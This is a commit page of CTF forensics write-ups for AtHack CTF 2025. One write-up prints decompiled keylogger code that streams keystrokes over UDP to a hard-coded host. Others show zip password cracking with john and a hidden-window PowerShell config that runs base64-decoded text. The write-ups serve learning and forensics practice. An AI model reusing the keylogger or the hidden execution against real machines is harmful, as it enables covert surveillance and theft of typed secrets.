Skip to content

Commit fb6a848

Browse files
octo-kumoocto-kumo
committed
athack 2025
1 parent b3012c9 commit fb6a848

File tree

37 files changed

+1650
-0
lines changed

37 files changed

+1650
-0
lines changed

‎2025-athack-ctf/forensics/Breach/index.md

Lines changed: 155 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,155 @@
1+
---
2+
created: 2025-03-01T17:59
3+
updated: 2025-03-02T01:35
4+
---
5+
6+
`breach` is a virus that sends keystrokes over UDP it seems.
7+
8+
The linux key event structure is as follows, the virus is sending bytes 16 to 21, which is `type|code|val` where `value` is cut.
9+
10+
```c
11+
struct input_event {
12+
struct timeval time; = {long seconds, long microseconds}
13+
unsigned short type;
14+
unsigned short code;
15+
unsigned int value;
16+
};
17+
```
18+
19+
```c
20+
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
21+
{
22+
char v3; // [rsp+7h] [rbp-C9h] BYREF
23+
int i; // [rsp+8h] [rbp-C8h]
24+
int v5; // [rsp+Ch] [rbp-C4h]
25+
int fd; // [rsp+10h] [rbp-C0h]
26+
int v7; // [rsp+14h] [rbp-BCh]
27+
char *src; // [rsp+18h] [rbp-B8h]
28+
struct sockaddr addr; // [rsp+20h] [rbp-B0h] BYREF
29+
char dest[12]; // [rsp+30h] [rbp-A0h] BYREF
30+
int v11; // [rsp+3Ch] [rbp-94h]
31+
__int16 v12; // [rsp+40h] [rbp-90h]
32+
char v13; // [rsp+42h] [rbp-8Eh]
33+
char buf[32]; // [rsp+50h] [rbp-80h] BYREF
34+
char v15[88]; // [rsp+70h] [rbp-60h] BYREF
35+
unsigned __int64 v16; // [rsp+C8h] [rbp-8h]
36+
37+
v16 = __readfsqword(0x28u);
38+
strcpy(v15, "cat /proc/bus/input/devices | grep keyboard -A 5 | grep -o -E 'event[0-9]+'");
39+
src = (char *)execute_command(v15, argv);
40+
strcpy(dest, "/dev/input/");
41+
v11 = 0;
42+
v12 = 0;
43+
v13 = 0;
44+
strcat(dest, src);
45+
v5 = strcspn(dest, "\n");
46+
dest[v5] = 0;
47+
fd = open(dest, 0);
48+
if ( fd < 0 )
49+
{
50+
perror("Error opening file");
51+
exit(1);
52+
}
53+
free(src);
54+
v7 = socket(2, 2, 0);
55+
if ( v7 < 0 )
56+
{
57+
perror("Error creating socket");
58+
exit(1);
59+
}
60+
addr.sa_family = 2;
61+
*(_DWORD *)&addr.sa_data[2] = inet_addr("192.168.10.129");
62+
*(_WORD *)addr.sa_data = htons(0x539u);
63+
while ( read(fd, buf, 0x18uLL) == 24 )
64+
{
65+
for ( i = 16; i <= 21; ++i )
66+
{
67+
v3 = buf[i];
68+
if ( sendto(v7, &v3, 1uLL, 0, &addr, 0x10u) < 0 )
69+
{
70+
perror("Error sending data");
71+
exit(1);
72+
}
73+
}
74+
}
75+
perror("Error reading from file");
76+
exit(1);
77+
}
78+
```
79+
80+
## solve
81+
82+
Just solve it.
83+
84+
```python
85+
import struct
86+
import pyshark
87+
88+
KEY_MAPPING = {
89+
2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8', 10: '9', 11: '0',
90+
12: '-', 13: '=', 14: 'BACKSPACE', 15: 'TAB', 16: 'q', 17: 'w', 18: 'e', 19: 'r',
91+
20: 't', 21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[', 27: ']', 28: 'ENTER',
92+
29: 'CTRL', 30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g', 35: 'h', 36: 'j', 37: 'k',
93+
38: 'l', 39: ';', 40: "'", 41: '`', 42: 'SHIFT', 43: '\\', 44: 'z', 45: 'x', 46: 'c',
94+
47: 'v', 48: 'b', 49: 'n', 50: 'm', 51: ',', 52: '.', 53: '/', 54: 'RSHIFT',
95+
55: '*', 56: 'ALT', 57: ' ', 58: 'CAPS', 59: 'F1', 60: 'F2', 61: 'F3',
96+
62: 'F4', 63: 'F5', 64: 'F6', 65: 'F7', 66: 'F8', 67: 'F9', 68: 'F10',
97+
}
98+
SHIFT_KEY_MAPPING = {
99+
'1': '!', '2': '@', '3': '#', '4': '$', '5': '%', '6': '^', '7': '&', '8': '*', '9': '(', '0': ')',
100+
'-': '_', '=': '+', '[': '{', ']': '}', '\\': '|', ';': ':', "'": '"', ',': '<', '.': '>', '/': '?',
101+
'`': '~'
102+
}
103+
104+
105+
def decode_keystrokes(pcap_file):
106+
cap = pyshark.FileCapture(pcap_file, display_filter=f'udp.stream eq 0')
107+
all_data = b''
108+
for packet in cap:
109+
try:
110+
if hasattr(packet, 'udp') and hasattr(packet, 'data'):
111+
data_hex = packet.data.data
112+
all_data += bytes.fromhex(data_hex.replace(':', ''))
113+
except AttributeError:
114+
continue
115+
cap.close()
116+
return all_data
117+
118+
119+
""" [16:22]
120+
struct timeval time; = {long seconds, long microseconds} 16
121+
unsigned short type;
122+
unsigned short code;
123+
unsigned int value;
124+
"""
125+
EV_KEY = 1
126+
EV_MSC = 4
127+
EV_SYN = 0
128+
129+
keystrokes = decode_keystrokes("capture.pcapng")
130+
shift = False
131+
caps = False
132+
for i in range(0, len(keystrokes), 6):
133+
chunk = keystrokes[i:i + 6]
134+
t, code, v = struct.unpack('HHH', chunk)
135+
# print(f't: {t}, code: {code}, v: {v}')
136+
if t == EV_KEY:
137+
if code in KEY_MAPPING:
138+
key = KEY_MAPPING[code]
139+
if v: # pressed
140+
if key == 'SHIFT':
141+
shift = True
142+
elif key == 'CAPS':
143+
caps = not caps
144+
else:
145+
if shift ^ caps:
146+
key = SHIFT_KEY_MAPPING.get(key, key.upper())
147+
shift = False
148+
print(key, end='')
149+
else:
150+
print(f'Unknown key: {code}')
151+
```
152+
153+
```flag
154+
ATHACKCTF{Y0u_533_h0w_L1NUX_h4NdL3_Input$}
155+
```

‎2025-athack-ctf/forensics/Dora.md

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
---
2+
created: 2025-03-01T16:38
3+
updated: 2025-03-01T16:50
4+
---
5+
6+
```
7+
binwalk -e Jungle.jpeg
8+
9+
DECIMAL HEXADECIMAL DESCRIPTION
10+
--------------------------------------------------------------------------------
11+
406084 0x63244 Zip archive data, at least v2.0 to extract, name: treasureChest/
12+
406160 0x63290 Zip archive data, at least v2.0 to extract, uncompressed size: 270158, name: treasureChest/Recording1.wav
13+
612659 0x95933 Zip archive data, at least v2.0 to extract, uncompressed size: 368, name: __MACOSX/treasureChest/._Recording1.wav
14+
613027 0x95AA3 Zip archive data, at least v2.0 to extract, uncompressed size: 306552, name: treasureChest/Recording2.wav
15+
626070 0x98D96 Zip archive data, at least v2.0 to extract, uncompressed size: 611, name: __MACOSX/treasureChest/._Recording2.wav
16+
17+
WARNING: One or more files failed to extract: either no utility was found or it's unimplemented
18+
```
19+
20+
`Recording2` has beep boops.
21+
22+
![image.png](https://res.cloudinary.com/kumonochisanaka/image/upload/v1740865230/2025/03/e660a92b28ae2a7e58a80cc1ffe97ea2.png)
23+
24+
![image.png](https://res.cloudinary.com/kumonochisanaka/image/upload/v1740865554/2025/03/0895fbceab2a075d0e97298f72223103.png)
25+
26+
![image.png](https://res.cloudinary.com/kumonochisanaka/image/upload/v1740865584/2025/03/66f6c87cf0845d7843d52f05c6b5a4ee.png)
27+
28+
It is a spectrogram.
29+
30+
```
31+
DWKDFNFWI BRX_IRXQG_WK3_FRRUGLQDW3V
32+
```
33+
34+
Looks like rotation cipher.
35+
36+
| Method | Result |
37+
| ---------- | -------------------------------------- |
38+
| [A-Z]+3 | `ATHACKCTF{YOU_FOUND_TH3_COORDINAT3S}` |
39+
| [A-Z0-9]+3 | `ATHACKCTF{8OU_FOUND_TH0_COORDINAT0S}` |
40+
41+
```flag
42+
ATHACKCTF{YOU_FOUND_TH3_COORDINAT3S}
43+
```
44+
45+
It is.

‎2025-athack-ctf/forensics/Lost Password.md

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
---
2+
created: 2025-03-01T15:33
3+
updated: 2025-03-01T16:01
4+
---
5+
6+
It's just a password zip file.
7+
8+
```bash
9+
$ zip2john flag.zip > hash.txt
10+
Created directory: /home/kali/.john
11+
ver 1.0 efh 5455 efh 7875 flag.zip/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=58, decmplen=46, crc=584F77B1 ts=8A28 cs=8a28 type=0
12+
13+
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
14+
Using default input encoding: UTF-8
15+
Loaded 1 password hash (PKZIP [32/64])
16+
Will run 16 OpenMP threads
17+
Press 'q' or Ctrl-C to abort, almost any other key for status
18+
welostjester (flag.zip/flag.txt)
19+
1g 0:00:00:00 DONE (2025-03-01 15:33) 3.846g/s 10838Kp/s 10838Kc/s 10838KC/s wendreen0601..wardkiel
20+
Use the "--show" option to display all of the cracked passwords reliably
21+
Session completed.
22+
```
23+
24+
```flag
25+
ATHACKCTF{j000n_c0nGr44tzzz_dis_iz_ur_fl4ggg}
26+
```

‎2025-athack-ctf/forensics/MFT.md

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
---
2+
created: 2025-03-01T16:51
3+
updated: 2025-03-01T16:56
4+
---
5+
6+
Open file with MFT Explorer.
7+
8+
![image.png](https://res.cloudinary.com/kumonochisanaka/image/upload/v1740865883/2025/03/321cc1015588c8c01fc21a3e0d37d625.png)
9+
10+
The secret file is at `\Users\relizane\Desktop\important\secret.txt.txt`.
11+
12+
```
13+
[00000244-0000000D, Entry-seq #: 0x244-0xD, Offset: 0x91000, Flags: InUse, Log Sequence #: 0x2140BCC0, Mft Record To Base Record: Entry/seq: 0x0-0x0
14+
Reference Count: 0x2, Fixup Data: Expected: 05-00 Fixup Actual: 33-72|00-00 (Fixup OK: True)
15+
16+
**** STANDARD INFO ****
17+
Type: StandardInformation, Attribute #: 0x0, Size: 0x60, Content size: 0x48, Name size: 0x0, Content offset: 0x18, Resident: True
18+
19+
Flags: Archive, Max Version: 0x0, Flags 2: None, Class Id: 0x0, Owner Id: 0x0, Security Id: 0x73A, Quota Charged: 0x0
20+
Update Sequence #: 0xF93F178
21+
22+
Created On: 2025-01-25 06:41:21.8728907
23+
Content Modified On: 2025-01-25 06:50:57.7326737
24+
Record Modified On: 2025-01-25 06:50:57.7326737
25+
Last Accessed On: 2025-01-25 06:50:57.7326737
26+
27+
**** FILE NAME ****
28+
Type: FileName, Attribute #: 0x5, Size: 0x78, Content size: 0x5A, Name size: 0x0, Content offset: 0x18, Resident: True
29+
30+
File name: SECRET~1.TXT (Length: 0xC)
31+
Flags: Archive, Name Type: Dos, Reparse Value: 0x0, Physical Size: 0x0, Logical Size: 0x0
32+
Parent Mft Record: Entry/seq: 0x16685-0x2
33+
34+
Created On: 2025-01-25 06:41:21.8728907
35+
Content Modified On: 2025-01-25 06:41:21.8728907
36+
Record Modified On: 2025-01-25 06:41:21.8728907
37+
Last Accessed On: 2025-01-25 06:41:21.8728907
38+
39+
40+
**** FILE NAME ****
41+
Type: FileName, Attribute #: 0x4, Size: 0x78, Content size: 0x5E, Name size: 0x0, Content offset: 0x18, Resident: True
42+
43+
File name: secret.txt.txt (Length: 0xE)
44+
Flags: Archive, Name Type: Windows, Reparse Value: 0x0, Physical Size: 0x0, Logical Size: 0x0
45+
Parent Mft Record: Entry/seq: 0x16685-0x2
46+
47+
Created On: 2025-01-25 06:41:21.8728907
48+
Content Modified On: 2025-01-25 06:41:21.8728907
49+
Record Modified On: 2025-01-25 06:41:21.8728907
50+
Last Accessed On: 2025-01-25 06:41:21.8728907
51+
52+
53+
**** OBJECT ID ****
54+
Type: VolumeVersionObjectId, Attribute #: 0x6, Size: 0x28, Content size: 0x10, Name size: 0x0, Content offset: 0x18, Resident: True
55+
56+
Object Id: 8552a51d-8e03-11ef-87b5-000c29ae9287
57+
Object Id MAC: 00:0c:29:ae:92:87:
58+
Object Id Created On: 2024-10-19 10:18:44.4606749
59+
Birth Volume Id: 00000000-0000-0000-0000-000000000000
60+
Birth Object Id: 00000000-0000-0000-0000-000000000000
61+
Domain Id: 00000000-0000-0000-0000-000000000000
62+
63+
**** DATA ****
64+
Type: Data, Attribute #: 0x1, Size: 0x70, Content size: 0x57, Name size: 0x0, Content offset: 0x18, Resident: True
65+
66+
Resident Data
67+
Data: 2D-2D-3E-20-2D-2D-3E-20-57-65-6C-63-6F-6D-65-20-74-6F-20-41-54-48-41-43-4B-43-54-46-20-32-6B-32-35-3B-20-41-54-48-41-43-4B-43-54-46-7B-4E-54-46-24-5F-4D-34-73-37-33-72-5F-66-69-4C-33-5F-54-34-62-4C-33-21-21-21-7D-0D-0A-2D-2D-3E-20-48-6F-75-73-73-65-6D-30-78-31
68+
69+
ASCII: --> --> Welcome to ATHACKCTF 2k25; ATHACKCTF{NTF$_M4s73r_fiL3_T4bL3!!!}
70+
--> Houssem0x1
71+
Unicode: ⴭ‾ⴭ‾敗捬浯⁥潴䄠䡔䍁䍋䙔㈠㉫㬵䄠䡔䍁䍋䙔乻䙔弤㑍㝳爳晟䱩弳㑔䱢ℳ℡ൽⴊ㸭䠠畯獳浥砰�
72+
73+
]
74+
```
75+
76+
## part 1
77+
78+
> Done by GPT
79+
80+
- **MFT Entry Number:** The header shows “Entry-seq #: 0x244-0xD”. The entry part “0x244” in hexadecimal converts to **580** in decimal.
81+
- **File Size:** The DATA attribute shows “Content size: 0x57”. In decimal, 0x57 equals **87** bytes.
82+
- **Creation Time:** The creation timestamp (from both the STANDARD INFO and FILE NAME attributes) is “2025-01-25 06:41:21.8728907”. Dropping the fractional seconds gives **2025-01-25 06:41:21**.
83+
84+
```flag
85+
ATHACKCTF{580_87_2025-01-25 06:41:21}
86+
```
87+
88+
## part 2
89+
90+
MFT Explorer supports just reading the contents.
91+
92+
```flag
93+
ATHACKCTF{NTF$_M4s73r_fiL3_T4bL3!!!}
94+
```

‎2025-athack-ctf/forensics/Phantom Trails.md

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
---
2+
created: 2025-03-01T17:19
3+
updated: 2025-03-01T17:56
4+
---
5+
6+
![image.png](https://res.cloudinary.com/kumonochisanaka/image/upload/v1740867597/2025/03/d403118c5aface90d6a1de69ac2d76c0.png)
7+
8+
Files of the zip, sorted by modification date.
9+
10+
## ApplicationConfig.json
11+
12+
```json
13+
{
14+
"IsActive": true,
15+
"Name": "execute",
16+
"Path": "%Windows%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
17+
"Args": "-c \"$p=[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('IlYxNF9SM2cxJFJ5XzRuRF9MMEwhfSIgLWpvaW4gIiI'));Invoke-Expression $p\"",
18+
"OutputExtension": "",
19+
"Extensions": "",
20+
"HiddenWindow": true,
21+
"DeleteInputFile": false
22+
}
23+
```
24+
25+
The very first file is suspicious.
26+
27+
```
28+
"V14_R3g1$Ry_4nD_L0L!}" -join ""
29+
```
30+
31+
## where_am_hiding.txt
32+
33+
```
34+
ZmxhZ3tmNGtlX2ZsNGd9 -> flag{f4ke_fl4g}
35+
```
36+
37+
## first part.
38+
39+
Couldn't find it, so I cheated.
40+
41+
```bash
42+
$ grep -r "QVRIQUNLQ1RGe" .
43+
grep: ./Windows/System32/config/SOFTWARE: binary file matches
44+
```
45+
46+
![image.png](https://res.cloudinary.com/kumonochisanaka/image/upload/v1740869753/2025/03/6ade6940d987839111df5f8d903061ce.png)
47+
48+
```flag
49+
ATHACKCTF{P3rS1$TEnC3_gH0$T_V14_R3g1$Ry_4nD_L0L!}
50+
```

0 commit comments

Comments
 (0)